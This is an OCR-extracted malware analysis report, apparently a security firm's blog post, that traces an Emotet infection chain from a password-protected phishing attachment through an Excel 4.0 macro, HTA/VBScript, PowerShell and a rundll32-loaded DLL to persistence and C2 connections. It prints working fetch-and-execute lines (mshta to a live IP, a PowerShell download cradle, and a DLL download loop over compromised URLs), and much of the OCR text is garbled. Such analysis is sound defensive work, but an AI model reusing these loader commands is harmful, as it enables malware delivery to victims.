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Overview

NetbyteSEC malware analyst team has come across a Microsoft Excel document containing a malicious macro
code. The suspicious email was received by our client. The malicious attachment seems to be an Emotet malware

that is often used in phishing campaigns.

Emotet is a Trojan that primarily spreads through malicious spam attachments pretending to be invoices, shipping
documents, delivery notification, etc. The attachment may arrive either via malicious script, macro-enabled

document files, or malicious link, which will download the Emotet excutable upon execution. The Emotet emails
may contain familiar branding designed to look like a legitimate email. Emotet may try to persuade users to click

the malicious file.

The scenario of the analysis is as follows:

L.

L

Figure 1: Flow of Emotet Attack

Email analysis

Spearphishing Attachment

Upon opening the victim’s suspicious email attachment. The attachment is encrypted with the given password
"1843". Since the attachment was encrypted, the Google mail server cannot scan for viruses. It was normal for an
organization to encrypt their attachment however, the receiver should be aware of potential malicious content

when received via email.
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Figure 2 : Email details

Investigating the email, Netbytesec malware analyst noticed that the attackers used DNS name spoofing to
impersonate their display name as a legitimate user. Also, attached to the email is an attachment of a zip file

containing payload of the attackers.

Malicious document analysis

Further analysis will focus on the malicious document (XLS) used as the lure inside the password protected zip
file.

MD?5 Hash: 25995b47257212e2e3ca5f7704c9e830
Filename: untitled_176399.xls
File Type: Excel Binary File Format (.xls)

Upon opening the malicious document, the attacker used a common tactic deployed by cybercriminals to trick
victims to click the “Enable Content” ribbon button display in Microsoft Excel as shown in Figure 3 below.
Unsuspected victim will enable the content macro thus leading to the malicious script being executed in the

background stealthily without the victim’s knowledge.
e

Figure 3 : Opening the malicious document
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Enabling the content will execute the macro embedded in the lure document which will lead to malicious macro

execution.

Investigating the Excel file, Netbytesec malware analyst found that there is a malicious Excel 4.0 macro stored

inside the Excel file.

FILE: untitled 176399.x1s

Type: OLE

WARNING *** file size (36571) not 512 + multiple of sector size (512)
WARNIMG *** file size (36571) not 512 + multiple of sector size (512)
VBA MACRO x1lm macro.txt

in file: xlm_macro - OLE stream: 'xlm _macro'

' RAW EXCEL4/XLM MACRO FORMULAS:

' SHEET: Macro2, il

' CELL:J17, = TFECMD.EXE /¢ ms*hta http:l!ﬂl.Z‘dﬂ.118.1‘53!u0!aa}5‘e.ht“m‘l'li li]
' CELL:J124, =HALTYe

' CELL:J]22, None,

' CELL:J18, None,

' CELL:J19, None,
P

CELL:J20, None,
CELL:J21, None,
CELL:J23, None,

EMULATION - DEOBFUSCATED EXCEL4/XLM MACRO FORMULAS:

CELL:J17 , PartialEvaluation ; = ("CMD.EXE fc ms*hta http://91.2°40.118.1°68/00/aa/se. ht*m*1")
CELL:J24 , End . HALT()
e - R L I R +
| Type | Keyword |Description |
B et s e e o
| | EXEC |[May run an executable file or a system
| | |command using Excel 4 Macros (XLM/XLF) |
| I0C | CMD . EXE |Executable file name |
| |XLM macro |¥LM macro found. It may contain malicious
| | | code |
drmmmm drrasss s s L e L T +

Figure 4 : Results from OleVBA3 against the malicious attachment

As shown in the figure 4 above, the malicious code will try to execute an obfuscated code of mshta
http://91.240.118.168/00/aa/se.html via CMD.

Next, Netbytesec malware analysts perform VirusTotal lookup to check for any further clues on the IP address
found in the VBA macro. It seems that 16 security vendors in VirusTotal flagged the IP address as malicious as

shown in following figure.
P

Figure 5 : 16 security vendors flagged this IP address as malicious.

Futhermore, the community in VirusTotal also mentioned that the IP address is a collection of IP addresses used
for the Emotet malware campaign. This convinces Netbytesec malware analyst that the IP address found in the

Excel 4.0 macro is one of the Indicator of Compromise for the Emotet campaign.

Once the malicious document (maldoc) opens and enables the macro, the maldoc runs the macro code and
downloads the se.html which contains malicious javascript payload. The deobfuscated Macro VBA code from the

malicious excel document would look like this:

(MD.EXE /c mshta http://91.240.118.168/00/aa/se.html
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This malicious code uses mshta.exe which will fetch and execute HTA code in the se.html. The usage of mshta.exe
is a common technique used by malicious attackers to execute Microsoft HTML Application (HTA) files. Mshta
may execute Windows Script Host code (VBScript and JScript) contained within HTML, as its full name suggests.

In this scenario, the code se.html was a javascript and visual basic scripting payload.

Based on the PCAP analaysis, below figure shows the HTTP request and response to the server (91.240.118.61) to

fetch se.html. We will explain in the next section about what se.html does in this malicious attachment.

GET /oo/aa/se.html HTTP/1.1

i

kcct;L-Languagc: en-MY, en-US;g=0.7,en;q=8.3

Accept-Encoding: gzip, deflate

User-Agent: Mozillas4.8 (compatible; MSIE 7.8; Windows NT 16.8; WOWG4; Trident/7.8; .NET4.8C; .NET4.8E; InfoPath.2)
Host: 91.240.118.168

Connection: Keep-Alive

HTTP/1.1 2080 OK

Server: nginx/1.20.1

Date: Fri, 28 Jan 2022 08:34:35 GMT
content-Type: text/html; charset=utf-g
Content-Length: 11875

Last-Modified: Thu, 27 Jan 2022 19:084:27 GMT
Connection: keep-alive

ETag: "61f2ecbb-2b43"

Accept-Ranges: bytes

Figure 6 : The captured network traffic that is generated by the malicious document.

Upon opening the malicious HTML file (se.html), the HTML page appears to be protected by HTML Guardian per
said by the banner in the display.

The source code of this page is protected by HTML Guardian

The ultimate tool to protect your HTML code, images, Java appiets, Javascripts,
links, keep web content filters away and much more...
www.ProtWare.com

Figure 7 : Opening the se.html through the web browser

Trying to read through the browser's view source file also prevents us from getting more information regarding
what the HTML content. Scrolling down the html file, Netbytesec malware analyst discovered some HTML code

starting at line 65.
=%

L

Figure 8 : The content of the html file can be seen started at line 65

Page 4 of 14


https://blogger.googleusercontent.com/img/a/AVvXsEjd9S6E1_UYK5daV4zgfEUy472QBql-YkgI36Wg8Xif5HA9bDGZUiEhDrsMe74NzYOY4vKCq-0wQC7oCRaeztEronUNgNUbazWiBeG1QyRyxyO6vA4eYk2ZMCwjPxD0WBEZNFl8z7JeU_r15y2o0EcQ3pcgnD_Zgk4SJLuswKluaFCps7hW3kgr_T4A=s883
https://blogger.googleusercontent.com/img/a/AVvXsEjd9S6E1_UYK5daV4zgfEUy472QBql-YkgI36Wg8Xif5HA9bDGZUiEhDrsMe74NzYOY4vKCq-0wQC7oCRaeztEronUNgNUbazWiBeG1QyRyxyO6vA4eYk2ZMCwjPxD0WBEZNFl8z7JeU_r15y2o0EcQ3pcgnD_Zgk4SJLuswKluaFCps7hW3kgr_T4A=s883
https://blogger.googleusercontent.com/img/a/AVvXsEhFliZaEh0JRIHVcFnr2XYzqKuYyC4RLI9tKxPsMWdILNeMaqqrDQEOFmU1NFOhE5wa2bBN_EWucfKfLkvBPCWq9mYlk0u8387_dSww_zfDSgAdSG-Bs4-0wWwRU-1m5W2XmoCFK4c2HoF5SHhVzOiWaAciaEec3E4BmrghV7okdq5F58jIQYVzJfRk=s938
https://blogger.googleusercontent.com/img/a/AVvXsEhFliZaEh0JRIHVcFnr2XYzqKuYyC4RLI9tKxPsMWdILNeMaqqrDQEOFmU1NFOhE5wa2bBN_EWucfKfLkvBPCWq9mYlk0u8387_dSww_zfDSgAdSG-Bs4-0wWwRU-1m5W2XmoCFK4c2HoF5SHhVzOiWaAciaEec3E4BmrghV7okdq5F58jIQYVzJfRk=s938
https://blogger.googleusercontent.com/img/a/AVvXsEj_DkWzRSWx23EQc0cnX9JX_vNTpx7RQlFmxOuKcsm35ubHIzADZGPXrTGu_R8e-U6Bso_qNuwS-VIxiBEodRVYr-CKwLnKy2c3RCXcnD5EQxy3NjAwinmMruKZFsEcKh-NmzVfC6v_rebS5Y3qC4LV00ATUofv9zm9Cq804hcoCTaPhKCoFipJJPSu
https://blogger.googleusercontent.com/img/a/AVvXsEj_DkWzRSWx23EQc0cnX9JX_vNTpx7RQlFmxOuKcsm35ubHIzADZGPXrTGu_R8e-U6Bso_qNuwS-VIxiBEodRVYr-CKwLnKy2c3RCXcnD5EQxy3NjAwinmMruKZFsEcKh-NmzVfC6v_rebS5Y3qC4LV00ATUofv9zm9Cq804hcoCTaPhKCoFipJJPSu

https://notes.netbytesec.com /2022 /02 /technical-malware-analysis-return-of.htm|

Netbytesec malware analyst started to investigate and analyzed the malicious payload se.html and found the code

was obfuscated javascript code.

The figure below shows the obfuscated javascript code that Netbytesec malware analyst gained from se.html.

Figure 9 : Obfuscated Javascript se.html

Inspecting the code can see that the most of the script is used for the display page and only portion of the code for

the malicious payload.

<html xmlns="http://www.w3.org/1999/xhtml" >
» <head>..</head>
w <body>
P <script>..</script>
v <table width="100%" border="0">
p <tbody>..</tbody>
</table>
B <script>..</script>
P <script language="VBScript">..</script>
<hta:application id="oHTA"™ applicationname="Bonjour” application="yes" width="10px"
height="10px"></hta:application>
<span style="visibility:hidden">qweasdzxc</span>
B <script>.</script>
</body>
</html>

Figure 10 : HTML Structure of se.html
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w <script language="VBScript">
Window.ReSizeTo @, @
Window.MoveTo -4000, -4000

CO = " $c3="ad{HgfRrtGdf}{HgfRrtadf}St{HgfRrtadf}rin{HgfRrtadf}

{HgfRrtGdf }g{HgfRrtGdf}

(' "ht{HgfRrtGdf }tp{HgfRrtGdf}://91.240.118.168/00/aa/se.png' ") '.replace( ' {HgfRrtGadf}",

rys”

AE = " -noexit $cl='({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf }w{HgfRrtGdf}-
Obj{HgfRrtGdf}ec{HgfRrtGdf}{HgfRrtGdf}t N{HgfRrtGdf}
{HgfRrtGdf}et{HgfRrtGdf}.W{HgfRrtGdf}{HgfRrtGdf}e" .replace( ' {HgfRrtGcdf}"', "');"
CM = " $cd4="bC{HgfRrtGdf}1li{HgfRrtGdf}{HgfRrtGdf}en{HgfRrtGdf}
{HgfRrtGdf}t).D{HgfRrtGdf } {HgfRrtGdf }ow{HgfRrtGdf } {HgfRrtGdf }nl{HgfRrtGdf} {HgfRrtGdf}
{HgfRrtGdf}o".replace( ' {HgfRrtGdf}', "");"

GN = "T"E"X $II|T°E"X" + " "
GA = "$3I=($c1,%c4,%$c3 -Join '');"
AGAGHAAAA = AE + CM + CO + GA + GN
WS = Chr(87) & Chr(83) + "cr” + StrReverse(”.tpi”) + Chr(83) & Chr(104) + "ell"”
set HDsdgsdf = CreateObject(WS)
fdfggdsr = Chr(Chr(49) & Chr(49) & Chr(50)) & Chr(Chr(49) & Chr(49) &
Chr(49))+Chr(Chr(49) & chr(49) & Chr(57)) & Chr(101)+Chr(114) & Chr(115) &
Chr(104)+Chr(101) & Chr(1e8)+Chr(108) & Chr(32)
HDsdgsdf.Run fdfggdsr + AGAGHAAAA, Chr(48)

Close

</script>

<hta:application id="oHTA" applicationname="Bonjour" application="yes" width="18px"

height="1@px"></hta:application>

<span style="visibility:hidden">gweasdzxc</span>

Figure 11 : VB script contained in an html file.

Based on figure 11 above, the syntax “Window.ReSizeTo 0,0” refers to nullifying the size of the script in the

webpage. On other hand, ‘visibility:hidden’ hides the appearance of the script while disabling click-ability on the

element.

CO = " %c3="ad{HgfRrtGdf}{HgfRrtGdf}St{HgfRrtGdf}rin{HgfRrtGdf}{HgfRrtGdf }g{HgfRrtGdf} (" 'ht{HgfRrtGdf}tp{HgfRrtGdf}://91.248.118.1
AE = " -noexit $cl="({HgfRrtGdf}{HgfRrtGdf}Ne{HgfRrtGdf}{HgfRrtGdf}w{HgfRrtGdf}-0bj{HgfRrtGdf}ec{HgfRrtGdf}{HgFfRrtGdf}t N{HgfRrtGc
CHM = " $cd="bC{HgfRrtGdf}1i{HgfRrtGdf}{HgFfRrtGdf }en{HgFRrtGdf} {HgFRrtGdf}t) .D{HgFRrEGAF} {HgFRrtGdf }ow{HgfRrtGdf }H{HgFRrtGdF In1{HgfF
GN = "I'E'X $II|T'E"X" + " "

GA = "$11=(%cl,$c4,%c3 -Join '');"
AGAGHAAAA = AE + €M + CO + GA + GN

WS = Chr(87) & Chr(B83) + "cr" + StrReverse(".tpi") + Chr(83) & Chr{l84) + “ell"

set HDsdgsdf = CreateObject(WS)

fdfggdsr = Chr(Chr(49) & Chr(49) & Chr(5@)) & Chr(Chr(49) & Chr(49) & Chr(49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(181)+Chr(114

wscript.echo fdfggdsr + AGAGHAAAA, Chr(48)

Windows Script Host

"HDsdgsdf.run fdfggdsr + AGAGHAAAA, Chr(48) #commented
powershell -noexit
Se1="([HgtRAGA{HOIRAGANNE[HGIRGA{HIIRAGANW{HGIRAGAf-Ob
H{HgTRGdfecHgIRAGA{HGIRGANt
M{HgfRAGAfHHGfRAG AN et HgfRAGAN WIHGTRIGANHoIRAGdf e replac
e[ (HgtRIGary, |
Scd="bC{HgIRAGANI{HgIRMGaf{HgfRiGdfjen{HgfRGAT{HgfRAGATH).
D{HgfRAGAf{HgIRGdfjowHgfRAGAT{HgIRAGAfNKHgfRAGAN{HgfRrt
Gaf{HgfRGdfo .replace( {(HofRtGafy, 7);
$c3="ad{HgRGdf{HIRGANSHHGIRMGdfrin{HgIRAGAHGRtGdf)g]
HgfRAGHN( ht{HofRItGANtp{HGfRIGAR://91.240.118.168/00/aa/se.png’
| .replace[{HgfRAAGAR}, “;;5)I=(3¢1,5¢4,5¢3 -Join “LIEX SH'EX O
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Figure 12 : Deobfuscated VB script which leads to an obfuscated Powershell command.

Next, Netbytesec malware analyst start to investigate the script in the HTML file that does the execution of the

obfuscated Powershell commands and able to retrieve the obfuscated Powershell payload.

Command and Scripting Interpreter: Powershell

The code mentioned in figure 12 are as follow:

[

L.
Figure 13 : Deobfuscated Powershell code.

From the decoded Powershell, Netbytesec malware analysts looked up the link URL
http://91.240.118.168/00/aa/se.png and found another malicious Powershell script. The se.png file contains

Powershell code as shown in figure below.

=%

" A

Figure 14 : Powershell code from se.png that will downloads malicious DLL from available website

Based on the figure 14 above, the Powershell script basically will download an executable from the URLs and

execute it using Rundll32.exe.
Malicious DLL analysis

Signed Binary Proxy Execution: Rundll32

According to the previous Powershell command, the malicious script downloads the malicious DLL file and saves
it at C:\ProgramData folder with name QWER.DLL. Next, the Powershell command will call cmd.exe to execute
RunDLL.exe with QWER.DLL as its DLL path and "AADD" as its arbitrary export.

=
" A

Figure 15: Powershell execution to run malicious DLL files with arbitrary arguments

As shown in the red box in figure below, at the end of the script, the script will execute the command to begin the

DLL binary execution.
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$path = "C:\ProgramData\QWER.dII";

$urll = "hitp://farmmash.com/edh2fa/g2Q7Qbgs/"

$url2 = "hitp://karensgardentips.com/cgi-bin/hfpv/";

$url3 = hitp://centrobilinguelospinos.com/wip-admin/wi528gk QnMPLDUC;
$urk = 'hitp:/{/unitedhorus.com/wp-content/m3cxVSV2uYWarbh/;
surls = 'hitp:f/ vidispatch.com/Bcenses/JEEORdfhrk [

Surks = 'hitp://i-picccle-principe.com/wp-content/ UaSGvD7acknDz/";
surl? = hitp://hardstonecap.com/well-known|psSk NMgch/™;

$urls = 'hitp://3-fasen.com/wp-content/3BI0HELW";

$urt® = 'hitp://baldcover.com/wp-admin/oRwkRUWRbBISS;

$urlld = 'hitp:/tastedonline.com/cgi-bin/GOHSOE21KImMEM/";

$urill = ‘hitp://wencollection.com/wp-admin/pYEt2bVOOQWERk 7Q/";
$urli2 = "hitp://tombet.net/jmaruk [fdBsVaiAcwcsfMdONH";

Sweb = New-Object net.webchent;
surks = "surlt,surl2, surl3, $urk, Surls, Surls, Surl?, $urs, Surld, Surl10, surll L, Surl12" split(","):
foreach ($url in $urk) {
try {
$web.DownloadFile(5url, $path);
if ((Get-Item $path).Length -ge 30000) {
[Diagnostics.Process];
break;
}

}
catch{}

]
Sleep -3 Il:cmd Je C:\Windows\SysWowsd\rundli32.eece 'C:\ProgramData\QWER.dAILAADD; I

Figure 16: DLL execution

"AADD" is the export argument used for executing QWER.DLL. However, the arguments can be anything and
arbitrary as long as it is not empty or null in order to run it as intended. After that, a second Powershell execution

will be triggered.
P

Figure 17: Rundll32.exe executable running the malicious file with specific arguments, ‘DIIRegisterServer’

The second execution will only run after the first execution of the malicious DLL which contains arbitrary
arguments as a trigger point. The secondary execution contains the real entry point of the malicious DLL which

uses cmd.exe to call Rundll32.exe with the export arguments of ‘DIIRegisterServer’.

This behavior can be found in the disassembled code where the malware first will decrypt or unpack their code in

the heap and then call the address of the unpacked code at the address 10046FA3 as shown in the figure below.
e
Figure 18: The sample call the unpacked code

In the unpack/decrypted code, there are two main functions that the subroutine will do. The first one is to spawn
the Rundll32 command and the second part of the subroutine is to exit the process. When the spawn of the
Rundll32 function is being called, it will literally run the command with the export name “DIIRegisterServer”

which will invoke the “DIIRegisterServer” export function at the second stage.

In the figure 19 below, the sample build up and import CreateProcessW Windows API from kernel32.dll and runs

the function which lead to the command execution of Rundll32 application.
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68 CED10000 " Shicw FPU
&8 2108088
55 EAX  765088E0 <kernel3l. CreateProcessu
BICE 10 EBX 0000000
X
Lot L) 1pProcessInfornat ion ECX soeARsoy
EDX  D3I330000
lpstartuplnfe EBP  B2CDE910
lpCurrenthirectory ESP  RICDESDE
1psnun_mncn1 ESI 3197932
dwCreationFlags EDI 20000000
push dword ptr ss:febpesa] bInneritiandles
push edi lpThreadattributes EIP  DX266859
2 push edi 1pProcessatiributes
26658 . |push esi 1 pCommandL ine EFLAGS 00000202
m— . push dword ptr ss: 1papplicationiame ZF b FF O AF &
266 . EELL eax Kernel32 CreateProcessn OF 0 SFO OF 0
pop CFa TFo IF1
pop esl
Bov €5p,ebp LastError 08000000 (ERROR_SUCCESS)
pep LastStatus COUQ0034 (STATUS OBJECT_NAME_NOT_FOU
ret v«
= ? | Dol sdcal)

[esiza3202932

1 [espeC] 00000000

_03?66&53 <sub_326679CBC> 4: [espr10] 00200000

BEoer!  @Dwni  @Dws)  @oess  @owel 8 wati  felwan  J Sna IR 0252902 |

Address |Hex 11 | ¥ = ]

03767531 [43 08 3A 00|SC 00 57 00 GE 00|64 0B 6F O0[C.:.\.W.1.A.d.0. 2008 8DC | 00000000

93797942 |77 00 73 00 5C 00 53 00 73 00(57 00 4F 00|w.s.\.S.y.5.W.0. 2 CEAED| GtueaGn

03292952 |57 08 36 00|34 09 5C 00 75 00 [6E 00 64 00 (W, .. £4 DOBODADD

03292962 |BC 0O 5C 00 M 32 0 65 00|78 00 65 00 £5| 00020000

93292972 |20 08 22 00 o0 1A 00 55 0073 00 65 00 RN N 2CDES 02COEIED

03292982 |72 08 73 88 | 55 00 6% 00|72 00 5C 00 =N CWindows \Sys WOMWSumall3 2 exe "C:\Path of DLLGWER ol DiRegplster Server DEAED| D2CDERAL

03292992 |46 00 65 00 0 6B 00 6F 20|70 00 5C 00 A 2008874 | DOBO000E

03292942 |71 00 77 80 LU FE 64 00 6L 00 6C 00 ot 03292932

Q31292902 |22 00 2C 00 |44 00 &C 00 52 00|65 00 67 00 00839852

037929C2 |69 00 71 00 ™ 65 0 53 00 |65 00 72 00 | 100 | 00000000

83292502 [TEI0BNESI00 |72) 00 00 00|64 B0 &F 00|77 OB 73 08 .| bonET1ES

BITVIFEZ|5C 00 53 00|79 00 73 00|57 00 &F 00|57 90 36 00 OO0SAFEL

032929F2| 34 00 5C 00|72 00 75 00|6E 20 64 00 [6C 00 6C 0@|4.\.T.u.A.d.1.1. 00091159

83292402 3: 00 ;; a0 ;? :3 e :; ;s 00 g; o0 :: 3: 57 :g ;.;.;.e.-\.;...g. ol sacoesac

03292A12| 69 90 GE 00 4 100 30 00 46 00(4.0.5.1.2.0.1.0 Feturn 259700+200 fros sub_I26679C
0320242265 00 56 00|61 00 75 00[6C 20 74 00|00 00 00 00| e.f.3.u.l.t.. ... o|<mmm Ak R B e G W BT
Ca"‘d..

| ) [ G2A > SII06 (36000000A Evies)

Figure 19: QWER.DLL sample import CreateProccessW Windows API

Drilling down the inner code of the export DIIRegisterServer will gave us a clue what does the function does. The
first subroutine in the function will do the unpacking process of the code into an allocated memory and return the

address in EAX register. The address then will be invoke at line 0x10045da0 as shown in following figure.

DLlRegisterServer

10045d30 ... PUSH EBP

10045d31 ... MOV EBP, ESP

10045d33 ... SUB ESP, Ox1c¢

10045436 ... MOV EAX, [DAT_100695¢8]

10045d3b ... XOR EAX, EBP

10045d3d ... MOV dword ptr [EBP + local_c], EAX
10045d40 ... MOV byte ptr [EBP + local_20], ©Ox&&
10045d44 ... MOV byte ptr [EEF + local_1f], @x6c
10045d48 ... MOV byte ptr [EEF + local_1e], @x6c
10045d4c ... MOV byte ptr [EBP + local_1id], @x52
10045d50 ... MOV byte ptr [EEP + local_1c], @x65
10045d54 ... MOV byte ptr [EBP + local_1ib], @x67
10045d58 ... MOV byte ptr [EBP + local_1la], @x69
10045d5¢ ... MOV byte ptr [EBP + local_19], @x73
10045d60 ... MOV byte ptr [EBF + local_18], Ox74
10045d64 ... MOV byte ptr [EBP + local_17], @x65
10045d68 ... MOV byte ptr [EBP + local_16], @x72
10045d6¢e ... MOV byte ptr [EEP + local_15], 0x53
10045d70 ... MOV byte ptr [EBP + local_14], x5
10045d74 ... MOV byte ptr [EBP + local_13], ox72
10045d78 ... MOV byte ptr [EBP + local_12], 0x76
10045d7¢ ... MOV byte ptr [EBP + local_11], ©x65
10045d80 ... MOV byte ptr [EEP + local_1@], ex72
10045dB4 ... MOV byte ptr [EBP + local_f], exe

10045d88 ... LEA
10045d8b ... PUSH EAX
10045d8c ... MOV ECX, dword ptr [DAT_1006d44c]

EAX=>local_20, [EEP + -0xic]

10045d92 ... PUSH ECX

10045d93 ... MOV ECX, DAT_lo@6d4a3

10045d98 ... CALL FUN_10045780 ; Unpack code and return address to eax
10045d9d ... MOV dword ptr [EEP + local_8], EAX

10045da@ ... CALL dword ptr [EBP + local_8] ;3 Call the unpack code

10045da3 ... XOR EAX, EAX

10045das ... MOV ECx, dword ptr [EEP + local_c]

Figure 20: DIIRegisterServer code
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In this unpacked section, the malware makes the connection to three different C2 IP addresses which will be

explained in section TAOO1 Command and Control in the next section ahead.
Registry Run Keys / Startup Folder

After the malware attempts to register at startup of the windows as persistence mechanism, it will move and
rename QWER.DLL to a new path with a new arbitrary name of DLL and new arbitrary arguments. It will register
on HKEY-USERS that contains user-specific configuration information for all currently active users on the

computer.

General  Details

The description for Event ID 13 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is
corrupted. You can install or repair the component en the local computer.

If the event orginated on another computer, the display information had to be saved with the event.
The fallowing information was included with the event:

T1060, Runkey

SetValue

2022-01-28 07:43:35.059

EV_RenderedValue_3.00

7012

CAWindows\ SysWOWE rundll32.exe

HEKLNS-1-5-21-1829722740- 1287344585-2334727426- 1001\ SOFTWARE\Mic rosoft\Windows\CumentVersion\Run’rgjcvpkn.ugg
CAWindows\SysWOWE rundll32.exe "ChUsers\user\AppData\Local\Waanrkbinomed\ rajcvpkn.uag”, YhtfV YWY ldaGK

The message resource is present but the message was not found in the message table

Figure 21: Malware attempt to register at startup of the windows as persistence mechanism, with alongside new

binary with new arguments at new path

The persistence of the malware is set up to be running when the victim starts up their machine through Windows
Registry’s register at HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

Event 1, Microsoft-Windows-Sysmen o

General Details

The description for Event ID 1 from source Microsoft-Windows-Sysmon cannct be found. Either the companent that raises this event is not installed on your local computer or the installation is comrupted. You can install o repair the a
eamponent on the locsl computer.

¥ the event originated on ancther computer, the display information had to be saved with the event.

The following information was included with the event:

2022-01- 28 08:34:53.081
EV_RenderedValue_2.00

5408

COAWIRdews\ SysWOWS rundili2.exe
101015041745 (WanBuild.160101.0800)
Windows hest process (Rundllzl)
Microsoft ® Windows ® Operating System
Microsaft Corporation

RUNDLL32.EXE

CAWIndews\SysWOWED rundil32.exe "CAUsers\user\ AppDatat Local Taniuz \kbpfr.rte”, brEygdn
CUsers\user Documents),

DESKTOP- SKVHRD T\user
EV_RenderedValue_13.00

186509

1

Medium

MD5= 8898990 52460004522 7C SEABRANT 6679, SHA2 36= 6C BENE 1 F046B13B298F A26FEBI6E2E 1 DXDDATERSET 1865 1D5856F 22 CCIENZT10, IMIPHASH= 3066044456261 25B0AB CAT4SB5D12634
EV_RenderedValue_18.00

4600

CAWindews\ SysWOWES rundili2 exe

CAWIndows\SysWOWSS rundil32. exe “C:\ProgramData\QWER.dII" DIIRegisterServer

Figure 22: Again, arbitrary arguments is used to trigger and run the new malicious DLL
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Event 1, Micreseft-Windews-Sysmon

General  Details

The description for Event ID 1frorm source Microseft-Windews-Sysmon cannct be found. Either the component that raises this event is not installed on your local computer or the installation is comupted. You can install of repais the ~
component on the local computer.

I the event another computer, the display inf ion had to be saved with the event.

The following infermation was included with the event:

(20220128 08:34:54.296

EV_RenderedValus_2.00

384

CAWindews\ SysWOWE uundl32ece

10.0.15041.745 (WinBuild. 160101.0800)

Windews host process (Rundll32)

Microsoft ® Windows ® Operating System

Microsoft Corporation

FUNHLLIZEXE

[CAWindews\ SysWOWE undl32ece “C\Users used AppDatal Local Teniuzd kbpfr.te”, DIIR egister Senver
T\ Users\user Documents),

[DESKTOR-SKVHRD I wuser

EV_RenderedValue_13.00

1456500

1
Medium

[MD5=BE5BFAC S2ARNDD4S22TC SEA85AD166TY, SHA256= 6CBENE 10458138298 FA2GFEB 362281 D2DDATERSBT 18651 D5B56F22C CIEN2910, IMPHASH= 308604AASB2B123B0ABCATAIBSD12EIA
EV_RenderedValue_18.00

6408

CAWindows\ SysWOWES undll32.exe
CAWindows\ SysWOWSES rundil3Zexe “Co\Users\user\ Ap pData\Local Taniuze\kbpfr.te® beEygqdn

Figure 23 : New malware with persistence at boot start-up executing DlIRegisterServer

At this point, the malware is well set up and hidden in a new path and persistence. It will run every time the

current user is booting up their machine.
Command and Control

During investigation, the communication with the C2 server was captured by Sysmon log activity via port 8080.

Event 3, Microsoft-Windows-Sysmon

General  Details

The description for Event ID 3 from source Microsoft-Windows-Sysmon cannot be found. Either the component that raises this event is not installed on your local computer or the installation is
corrupted. You can install or repair the component on the local computer.

If the event originated on another computer, the display information had to be saved with the event.

The following information was included with the event:

2021-08-17 07:50:00.189
EV_RenderedValue_2.00

7012

[C:AWindows\ SysWOWB\ rundll32.exe
DESKTOP-SKVHRD3\user

tep

True

False

192.168.80.236
DESKTOP-5KVHRD3 localdomain
49883

False

159.69.43.124
static.124.43.69.159.clients.your-server.de
6080

The message resource is present but the message was not found in the message table

Figure 24 : Malware communicating with C2 Server of 159.69.43.124:8080

The TCP connection is initiated to 159.69.43.124 through 8080 port of the server right after the DLL was

executed. According to the Sysmon log, the domain name resolved to this IP is clients.your-server.de.
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(1) 12 security vendors flagged this IP address as malicious

15R.60.43.124 (159.60.0.0M14)

AS 24940 [ Hetzner Online GrmbH

X o
DETECTION DETAILS RELATIONS COMMUNITY o
Collections
Emotet Collection Domains: 10 | Files: 78708 | IPs: 172 | URLs: 493

by ThreatFox

‘-(.—n.

{2y
~gm Emotet Collection Domains: 5 | Files: 10495 | IPs: 294 | URLs: 3
i

lL by CarlosCabal

Contained In Graphs

0 gearracelas

attachWithPasswd

Figure 25 : Virustotal intelligence confirmed that the IP is used for Emotet Command & Control server

The malware uses Windows API InternetConnectW to create the connection to the C2 server. As you can see in

the following figure, the malware creates the first connection to the IP address 159.69.43.124 via 8080 port, the

same as detected in the Sysmon log.

€
word ptr s5:[ebpr20)=[0269F700 EL™159.65.43.124 1502970966 L7159.69.43.124"

MIEAITE

ol §Dwe? P0umpd  PHouwmed  PCumes B waeeha fre) Lo # S

Address |Hex |asc1z ] -
12970968 |30 00 3% 00 (39 00 2E 00|36 00 39 00|2E 00 36 00[1.5.9...6.9.. .4,

M2970978(33 00 2E 90 (31 00 32 00 (34 00 00 00|00 00 02 09(3...1.2.
32970986 |00 00 00 20|00 02 D0 00 |00 @D 00 OO|0D 00 BB PD| . ...iiiaiiiiiaan

Figure 26 : Malware connection to first C2 server, 159.69.43.124

QACCOBDL.

3

L L BB4S 38 mov eax,dword pir ss:[ebp-35] o
L BB4S FC mov eax,dword ptr ss:febp-i]
L E& 2FICFFFF call 420209F
L B83C4 10 ek Pt
. 53 push ebx dwCentext
L 53 push ebx duFlags
- FF75 30 push dword ptr ss:[ebpr3in] dwService
- 53 push ebx LpszPassword
- 3 push ebx LpszUserName
- 56 push esi nServerfort (8038)
& 04ZER178B| FF75 28 push dword ptr ss:[ebps28) |[ebpr20]:L7159.69.43.124% (1pszServerName)
o DLTERLTE 57 push edi hInternet
FFDB call eax InternetConnectW
- SF Top =0T
L | SE pop esi Cannectlon bo €2 server an port 8080
L | 5B pop ebx
L BBES mov @sp,ebp
L 0 pop ebp
L | c3 ret
- 55 push ebp
L BBEC moy ebp,esp
- BIEC 14 sub esp, 14
L 36 push esi
a FF75 58 push dword ptr ss:[ebpr5&]
L 33F6 xor esi,esi
- EETR &8 naich dwnrd ntr cc:Fahneoil "

<

Hide FPU

EAX  BDAS6FTO ewininet. InternetConnac ti>
EEX 00000000

ECX  @0DABSDA

EDX 20690080

E QIGIFTED

ESP  Q269FT6C

EST  Q0081F30

EDI  @OCCO0D4

EIP Q42EDLTF

EFLAGS 00000300

ZF Q@ PF O AFQ

OF @ SFO DFO

€Fad TF1 IF1i

LastError QQ000B0D (ERROR_SUCCESS)
KarRfaatie FAMAMRIA (ETATISE ABIEFT MAME MAT En

<
EE )

1: [esp] 00CCERO4

12: [esprh] 02970968 LW159.69.43.124°
3: [esp+8] QOOOLFRQ

[esp+C] QDORODOD

&
5: [esp+10] oopooaa

D2IT0OGE | L7159.69.43.124°

i | 0QR1F9D
2 D0000RDD
0 D0000DE
o nanonnn

Observing the behavior in the debugger resulting us to discover the second C2 connection. The communication

was made to the different IP address which is 45.79.80.198 on port 443.
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Figure 27 : Malware making second connection to another C2 server, 45.79.80.198
Initiating the request of the connection will create the connection as Netbytesec malware analyst observe the
network behaviour and step over the HttpSendRequest function.
I‘m—b‘ ¥ m = ~ : _"1“ FRU Mame Local sddeess Lecal. Remote sddress Rem.
= :;:-*"” EAX  6DASAFAD  <wininet.WitpSendReque || [E] drsHorten. WirDe2idtEval e
=1 EBX 00000000 sHomer.. WinDe2I0TEvsl 8173
